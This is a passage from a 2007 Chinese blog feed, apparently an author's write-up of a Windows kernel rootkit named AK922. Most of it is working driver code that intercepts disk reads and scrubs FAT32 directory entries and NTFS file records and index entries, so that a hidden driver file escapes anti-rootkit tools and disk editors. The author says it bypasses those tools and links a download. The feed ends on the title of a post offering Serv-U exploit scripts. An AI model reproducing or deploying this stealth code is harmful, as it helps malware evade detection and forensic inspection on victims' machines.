UserBuffer必须有效<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(UserBuffer)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(KeGetCurrentIrql() == DISPATCH_LEVEL)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WorkerCtx-&gt;UserBuffer = UserBuffer;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WorkerCtx-&gt;Length = irpSp-&gt;Parameters.Read.Length;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WorkerCtx-&gt;EProc = orgnProcess;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ExInitializeWorkItem(&amp;WorkerCtx-&gt;WorkItem, WorkerThread, WorkerCtx);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ExQueueWorkItem(&amp;WorkerCtx-&gt;WorkItem, CriticalWorkQueue);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br>&nbsp;&nbsp;<br><br>&nbsp;&nbsp; 来到工作者线程，到了PASSIVE_LEVEL级上，切换上下文之后，似乎安全多了。但是以防万一，操作用户模式缓冲区之前还是要调用ProbeForXxx函数先判断一下。相关代码如下：<br><br>VOID WorkerThread(PVOID Context)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;KIRQL irql;<br>&nbsp;&nbsp;&nbsp;&nbsp;PEPROCESS eproc = ((PWORKERCTX)Context)-&gt;orgnEProc;<br>&nbsp;&nbsp;&nbsp;&nbsp;PEPROCESS currProc = ((PWORKERCTX)Context)-&gt;currEProc;<br>&nbsp;&nbsp;&nbsp;&nbsp;//PMDL mdl;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;if(((PWORKERCTX)Context)-&gt;UserBuffer)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(eproc != currProc)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;KeAttachProcess(eproc);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__try{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// ProbeForWrite must be running &lt;= APC_LEVEL<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProbeForWrite(((PWORKERCTX)Context)-&gt;UserBuffer, ((PWORKERCTX)Context)-&gt;Length, 1);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HandleAkDiskHide(((PWORKERCTX)Context)-&gt;UserBuffer, ((PWORKERCTX)Context)-&gt;Length);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__except(EXCEPTION_EXECUTE_HANDLER){<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//DbgPrint("we can't op the buffer now :-(");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;KeDetachProcess();&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;KeDetachProcess();&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}else{<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__try{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// ProbeForWrite must be running &lt;= APC_LEVEL<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProbeForWrite(((PWORKERCTX)Context)-&gt;UserBuffer, ((PWORKERCTX)Context)-&gt;Length, 1);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HandleAkDiskHide(((PWORKERCTX)Context)-&gt;UserBuffer, ((PWORKERCTX)Context)-&gt;Length);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__except(EXCEPTION_EXECUTE_HANDLER){}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br><br>&nbsp;&nbsp; 准备工作终于算是做得差不多了，下面就开始真正涂改磁盘扇区内容了。这里将涉及到FAT32和NTFS磁盘文件结构，我先把要用到的主要结构列出来，其余的大家可以参考《NTFS Documentation》。<br><br>typedef struct _INDEX_HEADER{<br>&nbsp;&nbsp;&nbsp;&nbsp;UCHAR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;magic[4];<br>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UpdateSequenceOffset;<br>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SizeInWords;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;LogFileSeqNumber;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;VCN;<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IndexEntryOffset;&nbsp;&nbsp;&nbsp;&nbsp;// needed!<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IndexEntrySize;<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AllocateSize;<br>}INDEX_HEADER, *PINDEX_HEADER;<br><br><br>typedef struct _INDEX_ENTRY{<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MFTReference;<br>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Size;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// needed!<br>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileNameOffset;<br>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Flags;<br>&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Padding;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MFTReferParent;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CreationTime;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ModifyTime;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileRecModifyTime;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AccessTime;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AllocateSize;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RealSize;<br>&nbsp;&nbsp;&nbsp;&nbsp;LARGE_INTEGER&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileFlags;<br>&nbsp;&nbsp;&nbsp;&nbsp;UCHAR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileNameLength;<br>&nbsp;&nbsp;&nbsp;&nbsp;UCHAR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NameSpace;<br>&nbsp;&nbsp;&nbsp;&nbsp;WCHAR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FileName[1];<br>}INDEX_ENTRY, *PINDEX_ENTRY;<br><br>&nbsp;&nbsp; 在读取磁盘文件信息时每次都是以一个扇区大小（512 bytes）的整数倍进行的，如果不了解相应卷的组织形式和数据结构，那么感觉就是数据多而繁杂，搜索效率也很低。但辅以上述结构便可快速定位待隐藏文件并进行涂改。这里不得不说一句，算法的高效是很重要的，如果采用暴力搜索的方式，那么系统BSOD的概率会大大增加。<br>&nbsp;&nbsp; 在FAT32卷上，当AK922搜索到文件AK922.sys的目录项时，将其0x0偏移处的文件名的第一个字节置为"0xe5"，即标记为删除。这样即可达到欺骗ark的目的。但为了更加隐蔽，不让winhex察觉出来，最好把文件名全部清0。<br>&nbsp;&nbsp; 处理NTFS卷稍微麻烦些，文件记录和索引项都要抹干净，具体实现见代码，这里不再赘述。<br><br>VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG i;<br>&nbsp;&nbsp;&nbsp;&nbsp;BOOLEAN bIsNtfsIndex;<br>&nbsp;&nbsp;&nbsp;&nbsp;BOOLEAN bIsNtfsFile;<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG offset = 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG indexSize = 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;PINDEX_ENTRY currIndxEntry = NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;PINDEX_ENTRY preIndxEntry = NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG currPosition;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);<br>&nbsp;&nbsp;&nbsp;&nbsp;bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;if(bIsNtfsFile == FALSE &amp;&amp; bIsNtfsIndex == FALSE)<br>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(i = 0; i &lt; BufLen/0x20; i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!_strnicmp(UserBuf, fileHide, 5) &amp;&amp; !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*(PUCHAR)UserBuf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= 0xe5;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*(PULONG)((ULONG)UserBuf + 0x1)&nbsp;&nbsp;&nbsp;&nbsp;= 0;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UserBuf = (PVOID)((ULONG)UserBuf + 0x20);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;} else if(bIsNtfsFile) {<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//DbgPrint("FILE0...");<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(i = 0; i &lt; BufLen / FILERECORDSIZE; i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset((PVOID)UserBuf, 0, 0x4);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;} else if(bIsNtfsIndex) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//DbgPrint("INDX...");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Index Entries<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;offset = ((PINDEX_HEADER)UserBuf)-&gt;IndexEntryOffset + 0x18;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;indexSize = BufLen - offset;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;currPosition = 0;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while(currPosition &lt; indexSize &amp;&amp; currIndxEntry-&gt;Size &gt; 0 &amp;&amp; currIndxEntry-&gt;FileNameOffset &gt; 0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!_wcsnicmp(currIndxEntry-&gt;FileName, hideFile, 9))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset((PVOID)currIndxEntry-&gt;FileName, 0, 18);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(currPosition == 0)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((PINDEX_HEADER)UserBuf)-&gt;IndexEntryOffset += currIndxEntry-&gt;Size;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;preIndxEntry-&gt;Size += currIndxEntry-&gt;Size;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;currPosition += currIndxEntry-&gt;Size;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;preIndxEntry = currIndxEntry;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry-&gt;Size);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br><br>&nbsp;&nbsp; 水平有限，欢迎大家与我交流。<br><br><br>参考资料：<br><br>[1] - 《NTFS Documentation》<br>[2] - Azy，《IceSword &amp; Rootkit Unhooker驱动简析》<br><br>---------<br><br>关于AK922(AzyKit)：我写的一个只实现文件隐藏的RK，可以bypass本文提到的所有ark。<br>Download @ <a href="http://www.wiiupload.net/sf/65b4e75ec4" target=_blank><u><font color=#0000ff>http://www.wiiupload.net/sf/65b4e75ec4</font></u></a> 
<img src ="http://www.cppblog.com/elva/aggbug/34018.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-10-12 11:58 <a href="http://www.cppblog.com/elva/archive/2007/10/12/34018.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>分享serv-u利用脚本(asp/aspx/php/perl)</title><link>http://www.cppblog.com/elva/archive/2007/08/04/29350.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Sat, 04 Aug 2007 07:17:00 